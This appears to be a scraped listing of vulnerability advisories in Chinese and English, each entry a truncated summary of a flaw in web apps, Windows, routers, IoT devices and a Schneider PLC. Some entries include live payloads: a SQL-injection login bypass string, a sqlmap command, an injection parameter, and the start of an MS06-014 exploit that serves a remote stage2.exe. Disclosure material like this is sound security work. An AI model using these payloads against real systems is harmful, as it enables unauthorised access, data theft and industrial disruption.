Scriptme SmE File Mailer Login SQL注入漏洞

Scriptme SmE File Mailer是一款基于PHP的站点构架程序。 Scriptme SmE File Mailer不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，未授权访问应用程序。 问题是登录脚本对用户提交的密码参数缺少过滤，提交恶意SQL代码作为数据，可导致无需验证访问应用程序。 scriptme SmE File Mailer 1.21 目前没有解决方案提供： http://www.scriptme.com/ Login: admin Password: anything' OR 'x'='x...

GNU Wget FTP_Syst函数远程拒绝服务漏洞

GNU Wget是一款流行的多协议文件获取应用程序。 GNU Wget FTPSyst函数存在问题，远程攻击者可利用此漏洞对应用程序进行拒绝服务攻击。 目前没有详细漏洞细节提供。 GNU wget 1.10.2 GNU wget 1.10.1 GNU wget 1.10 GNU wget 1.9.1 + MandrakeSoft Corporate Server 3.0 x8664 + MandrakeSoft Corporate Server 3.0 + MandrakeSoft Linux Mandrake 10.2 x8664 + MandrakeSoft Linux Mandra...

Microsoft Internet Explorer ADODB.Recordset NextRecordset拒绝服务漏洞

Microsoft Internet Explorer是一款流行的WEB浏览器。 Microsoft Internet Explorer处理ADODB.Recordset NextRecordset对象存在问题，远程攻击者可以利用漏洞可对应用程序进行拒绝服务攻击。 构建包含恶意ADODB.Recordset NextRecordset对象的WEB页，诱使用户访问，可导致用户的IE浏览器崩溃，造成拒绝服务攻击。可能存在任意代码执行可能。 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 - Microso...

NetBSD多个本地信息泄露漏洞

NetBSD是一款开放源代码的操作系统。 NetBSD在返回内核内存到用户空间时缺少过滤，本地攻击者可以利用漏洞获得内核敏感信息。 目前没有详细漏洞细节提供。 NetBSD NetBSD 3.0.1 NetBSD NetBSD 3.0 NetBSD NetBSD 2.1 NetBSD NetBSD 2.0.3 NetBSD NetBSD 2.0.2 NetBSD NetBSD 2.0.1 NetBSD NetBSD 2.0 NetBSD NetBSD Current NetBSD NetBSD 3,1RC1 NetBSD NetBSD 2.1.1 NetBSD NetBSD 2.0.4...

EncapsCMS 0.3.6 (core/core.asp) Remote File Include Vulnerability

No description provided by source. Firewall encapscms 0.3.6 - Remote File Include by Firewall BuG FounD by Firewall Application Affect: encapscms 0.3.6 Sorce Code: http://scripts.ringsworld.com/content-management/encapscms-0.3.6.zip Code: includeonce$root."core/Config.php";...

Citrix Presentation Server IMA服务多个远程漏洞

Citrix Presentation Server允许用户通过网络远程访问应用程序。 Citrix Presentation Server的IMASECUREDecryptData1例程存在堆溢出漏洞。这个例程是在ImaSystem.dll中定义的，可通过监听于TCP 2512或2513端口的独立管理架构（IMA）服务（ImaSrv.exe）服务访问。这里所使用的加密方式是可逆的，依赖于用于表示报文大小和认证字符串偏移的一些32位字段。在解密认证数据过程中攻击者可以指定无效的大小，导致可利用的堆溢出。...

Microsoft Windows 2000内核本地权限提升漏洞（MS06-049）

Microsoft Windows是微软发布的非常流行的操作系统。 本地攻击者可以利用Microsoft Windows 2000内核中未检查的缓冲区获得权限提升，完全控制受影响的系统。 Microsoft Windows 2000SP4 Microsoft已经为此发布了一个安全公告（MS06-049）以及相应补丁: MS06-049：Vulnerability in Windows Kernel Could Result in Elevation of Privilege 920958...

Microsoft Windows RASMAN服务栈溢出漏洞（MS06-025）

Microsoft Windows是微软发布的非常流行的操作系统。 Microsoft Windows远程访问连接管理器RASMAN存在可远程调用的RPC接口，其中RPC接口 RasRpcSubmitRequest存在若干安全漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。 函数RasRpcSubmitRequest及其子函数对作为参数的函数指针的有效性检查不足；某些子函数对参数的处理存在缓冲区溢出漏洞；这些漏洞都可能被攻击者利用在服务器上执行任意指令，从而控制系统。 Microsoft Windows XP SP2 Microsoft Windows XP SP1 Microso...

MS Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014)

No description provided by source. !/bin/sh - "exec" "python" "-O" "$0" "$@" doc = """BL4CK - MS06-014 RDS.DataStore - Data Execution CVS-2006-0003 MS06-014 April 2006 this is a bit out-dated, but works very well Usage: ./bl4ckms06014.py http://omfg.what.ho.st/user/stage2.exe index.html Now uploa...

AOL Instant Messenger AIM ""Away"" Message Remote Exploit

No description provided by source. / CAN-2004-0636 / / AIM Away Message Buffer Overflow Exploit Exploit by John Bissell A.K.A. HighT1mes Exploit: ======== drizzit.c Vulnerable Software: ==================== - AIM 5.5.3588 - AIM 5.5.3590 Beta - AIM 5.5.3591 - AIM 5.5.3595 and a couple others...

Insteon Hub HTTPExecuteGet Firmware Update URL Parameter Code Execution Vulnerability(CVE-2017-14444)

Summary An exploitable buffer overflow vulnerability exists in Insteon Hub running firmware version 1012. The HTTP server implementation incorrectly handles the URL parameter during a firmware update request, leading to a buffer overflow on a global section. An attacker can send an HTTP GET reque...

Denial of Service in iSmartAlarm(CVE-2017-7728)

Vendor: iSmartAlarm, inc. Product: iSmartAlarm cube - All iSmartAlarm is one of the leading IoT manufactures in the domain of smart alarm systems. It provides a fully integrated alarm system with siren, smart cameras and locks. It functions like any alarm system, but with the benefits of a...

Heatmiser WiFi thermostat vulnerabilities

Update – if your heating is misbehaving you need to disable port forwarding to port 80 and port 8068. This should be simply following the reverse of whatever you did to set port forwarding up. Alternatively, you could disable WiFi entirely by putting invalid SSID and password in – I believe the...

Moxa EDR-810 Web Server ping Command Injection Vulnerability(CVE-2017-12120)

Summary An exploitable command injection vulnerability exists in the web server functionality of Moxa EDR-810 V4.1 build 17030317. A specially crafted HTTP POST can cause a privilege escalation, resulting in a root shell. An attacker can inject OS commands into the ip= parm in the...

InfraPower PPS-02-S Q213V1 Unauthenticated Remote Root Command Execution

Summary InfraPower Manager PPS-02-S is a FREE built-in GUI of each IP dongle IPD-02-S only to remotely monitor the connected PDUs. Patented IP Dongle provides IP remote access to the PDUs by a true network IP address chain. Only 1xIP dongle allows access to max. 16 PDUs in daisy chain - which is ...

Telesquare SKT LTE Router SDT-CS3B1 WebDAV HTTP Methods Arbitrary File Events

Summary We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G LTE wireless communication based LTE router product. Description WebDAV is enabled with directory listing and dangerous HTTP methods allowed: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK and UNLOCK. The HTTP PUT metho...

Asus_GlobalWirteOverflow

Vulnerability: Global buffer overflow in networkmap ------------------------------------------ Exploitation: Can write data at any address in heap ------------------------------------------ Vendor of Product: Asus wireless router ------------------------------------------ Affected Products and...

Windows: use-after-free in jscript!NameTbl::GetValDef(CVE-2017-11903)

There is a use-after-free vulnerability in jscript.dll. This issue could potentially be exploited through multiple vectors: - An attacker on the local network could exploit this issue by posing as a WPAD Web Proxy Auto-Discovery host and sending a malicious wpad.dat file to the victim. This works...

Windows: Heap overflow in jscript!RegExpComp::Compile through IE or local network via WPAD(CVE-2017-11890)

There is a heap overflow in jscript.dll when compiling a regex. This issue could potentially be exploited through multiple vectors: - An attacker on the local network could exploit this issue by posing as a WPAD Web Proxy Auto-Discovery host and sending a malicious wpad.dat file to the victim. Th...

Microsoft Edge: Chakra: JIT: Inline::InlineCallApplyTarget_Shared doesn't return the return instruction(CVE-2017-11841)

Here's a snippet of Inline::Optimize. FOREACHINSTREDITINGinstr, instrNext, func-mheadInstr switch instr-mopcode case Js::OpCode::Label: ... if instr-AsLabelInstr-misForInExit Assertthis-currentForInDepth != 0; // The PoC hits this this-currentForInDepth--; break; case...

Microsoft Edge: Chakra: JIT: Incorrect integer overflow check in Lowerer::LowerBoundCheck(CVE-2017-11861)

Here's a snippet of the method. void Lowerer::LowerBoundCheckIR::Instr const instr ... ifrightOpnd-IsIntConstOpnd IntConstType newOffset; if!IntConstMath::Addoffset, rightOpnd-AsIntConstOpnd-GetValue, &newOffset --- a offset = newOffset; rightOpnd = nullptr; offsetOpnd = nullptr; ... if!rightOpnd...

Network Time Protocol ntpd Reference Clock Impersonation Vulnerability(CVE-2016-1551)

SUMMARY ntpd relies on the underlying operating system to protect it from requests that impersonate reference clocks. Because reference clocks are treated like other peers and stored in the same structure, any packet with a source ip address of a reference clock 127.127.1.1 for example that reach...

Network Time Protocol libntp Message Digest Disclosure Vulnerability(CVE-2016-1550)

SUMMARY An exploitable vulnerability exists in the message authentication functionality of Network Time Protocol libntp. An attacker can send a series of crafted messages to attempt to recover the message digest key. TESTED VERSIONS ntp 4.2.8p4 NTPSec a5fb34b9cc89b92a8fef2f459004865c93bb7f92...

Adobe Flash Player Infinite Recursion Arbitrary Read Access Violation(CVE-2016-4132)

SUMMARY A potentially exploitable read access violation vulnerability exists in the a way Adobe Flash Player handles infinitely recursive calls. A specially crafted ActionScript code can cause a read access violation which can potentially be further abused. To trriger this vulnerability user...

Apple OS X Scene Kit DAE XML Code Execution Vulnerability(CVE-2016-1850)

SUMMARY An exploitable type confusion vulnerability exists in the handling of DAE images on OS X. A crafted DAE document can trigger a type confusion vulnerability which potentially could be exploited to achieve attacker controlled code execution. Vulnerability can be triggered via a saved DAE fi...

Microsoft Windows Kernel Local Information Disclosure Vulnerability(CVE-2017-11817)

This tracker entry is a fork of issue 1325, which this bug was reported as a part of. However, as some essential information and context was provided in issue 1325, the "Reported" date was adjusted there to account for it. The new information did not concern the vulnerability discussed here, so w...

iBall ADSL2+ Home Router Authentication Bypass Vulnerability(CVE-2017-14244)

Exploit Title: iBall ADSL2+ Home Router Authentication Bypass Vulnerability CVE: CVE-2017-14244 Date: 15-09-2017 Exploit Author: Gem George Author Contact: https://www.linkedin.com/in/gemgrge Vulnerable Product: iBall ADSL2+ Home Router WRA150N https://www.iball.co.in/Product/ADSL2--Home-Router/7...

Ichitaro Office Excel File Code Execution Vulnerability(CVE-2017-2790)

Summary A vulnerability was discovered within the Ichitaro word processor. Ichitaro is published by JustSystems and is considered one of the more popular word processors used within Japan. Ichitaro handles Microsoft Excel's .xls file format. When processing a record type of 0x3c from a Workbook...

PowerIso Parsing Code Execution Vulnerability(CVE-2017-2817)

Summary An stack buffer overflow vulnerability exists in the ISO parsing functionality of Power Software Ltd PowerISO. A specially crafted ISO file can cause a vulnerability resulting in potential code execution. An attacker can send a specific ISO file to trigger this vulnerability. Tested...

Ledger CLI Account Directive Use-After-Free Vulnerability(CVE-2017-2808)

Summary An exploitable use-after-free vulnerability exists in the account parsing component of the Ledger-CLI 3.1.1. A specially crafted ledger file can cause a use-after-free vulnerability resulting in arbitrary code execution. An attacker can convince a user to load a journal file to trigger th...

Microsoft Edge Security Bypass Vulnerability(CVE-2017-8637)

There is an issue in Chakra JIT server that can be potentially exploited to compromise the JIT process from a compromised browser content process. Bugs like this could potentially be used to bypass ACG Arbitrary Code Guard in Microsoft Edge. The issue has been confirmed on a ChakraCore build from...

WebKit: UXSS through HTMLObjectElement::updateWidget(CVE-2017-2493)

When an object element loads a JavaScript URLe.g., javascript:alert1, it checks whether it violate the Same Origin Policy or not. Here's some snippets of the logic. void HTMLObjectElement::updateWidgetCreatePlugins createPlugins ... String url = this-url; ... if !allowedToLoadFrameURLurl return;...

Windows Kernel stack memory disclosure in win32kfull!SfnINLPUAHDRAWMENUITEM (CVE-2017-0167)

We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 10 indirectly through the win32k! NtUserPaintMenuBar system call, or more specifically, through the user32! fnINLPUAHDRAWMENUITEM user-mode callback 107 on Windows...

MacOS/iOS kernel uaf due to bad locking in necp_open (CVE-2017-2478)

necpopen is a syscall used to obtain a new necp file descriptor The necp file's fp's fgdata points to a struct necpfddata allocated on the heap. Here's the relevant code from necpopen: error = fallocp, &fp, &fd, vfscontextcurrent; --------------------- a if error != 0 goto done; if fddata =...

macOS iBooks Parsing a maliciously crafted iBooks file lead to local file disclosure（CVE-2017-2426）

On a previous post about ePub parsers This book reads you - exploiting services and readers that support the ePub book format, I mentioned using scripting capabilities in ePub to perform local attacks against users. Apple just released a fix for one issue I reported last year in iBooks that allow...

Huawei Flybox B660 Router to bypass authentication vulnerability

Huawei Flybox B660 Router to bypass authentication vulnerability Huawei Flybox B660 Router router device exists to bypass authentication vulnerability. Due to local path"./ htmlcode/html/"module and"indexdefault. asp"file exists vulnerability, a remote unauthenticated attacker could exploit the...

ZTE ZXECS EBG2800 enterprise business gateway system sys_backuprestore.be.php arbitrary file upload vulnerability

No description provided by source...

飞飞影视cms xss漏洞

No description provided by source...

惠普打印机设备 HP Color LaserJet 系列未授权访问漏洞

No description provided by source...

用友优普U8系统 /Server/CmxGetAppNameByUserName.php等2处 SQL注入漏洞

0x01漏洞简介 用友优普U8系统在以下2处存在SQL注入漏洞： 1/Server/CmxGetAppNameByUserName.php 参数User 2/Server/CmxCS.php 参数pgid 远程攻击者无需登陆，可以利用该漏洞执行SQL指令。 0x02漏洞利用 1sql注入1 sqlmap.py -u "...:8080/Server/CmxCS.php?pgid=CSRemove" --dbms mysql --technique T --cookie "RASAdminUserInfoUserName=1" --data "CSID=1&CSID=1" -p CSID ...

StrongSoft灾害预警系统ContactUpdate.aspx ContactID参数SQL注入漏洞

注入链接：/Duty/MailList/ContactUpdate.aspx 注入参数：ContactID Payload：ContactID=-1+and+1=@@version...

shop7z 商城系统在/Advsearchadmin.asp 处参数kindnum存在SQL注入漏洞

0x01漏洞简介 shop7z商城系统在Advsearchadmin.asp 处的参数kindnum由于过滤不严，存在kindnumSQL注入漏洞。远程攻击者可以利用该漏洞执行任意SQL指令。 0x02漏洞分析 Advsearchadmin.asp代码如下： kindnum=trimrequest"kindnum" pipai=trimrequest"pipai" model=trimrequest"model" productname=trimrequest"productname" price11=trimrequest"price11"...

B&B ELECTRONICS XR5i v2E/XR5i v2/XR5i/XR5i SL 弱口令

参考链接: http://www.cd.lucom.de/vpn-industrie-router/dokumentation/handbuch/xr5iv2e-guide.pdf...

Redmine 未授权访问漏洞

No description provided by source...

PHP168 homepage.php/admin/member-profile 敏感信息泄露

No description provided by source...

青果软件手机APP掌上校园某处XSS盲打以打到后台和cookies

简要描述： 提交的没通过，说是要完整的问题复现也是醉了。。。。。在提交一次 详细说明： 漏洞利用代码： 这是同IP的网站的确隶属于湖南青果软件有限公司： 漏洞证明： 漏洞证明 https://images.seebug.org/upload/201511/101343187fd9a31ae8eea7f5a2...

科信邮件系统 (KXmail)/prog/get_composer_att.php 任意文件下载漏洞

No description provided by source...

qibocms v7.0 任意文件下载漏洞

No description provided by source...

Windows ATMFD.DLL CFF table (ATMFD+0x3440b / ATMFD+0x3440e) Invalid Memory Access

CVE-2015-2460We have encountered a number of Windows kernel crashes in the ATMFD.DLL OpenType driver while processing corrupted OTF font files, such as: ---PAGEFAULTINNONPAGEDAREA 50Invalid system memory was referenced. This cannot be protected by try-except,it must be protected by a Probe...

施耐德(Schneider) Modicon PLC 数据包重放远程控制(Start/Stop Command)

施耐德Modicon系列PLC支持通过Unity Pro软件控制PLC，包括程序的上传下载、设备的启动关闭等管理员权限操作。该软件与PLC设备的通信无加密与身份认证，可进行数据包重放攻击。抓包分析：远程关闭设备：说明：该攻击通过以下POC实现较为容易，攻击能使得远程PLC直接停止运行，可能会对目标所在工业运行环境造成严重后果。可以通过pocsuite去验证漏洞存在，验证模式不会对设备造成影响，建议不要轻易尝试攻击。切记。...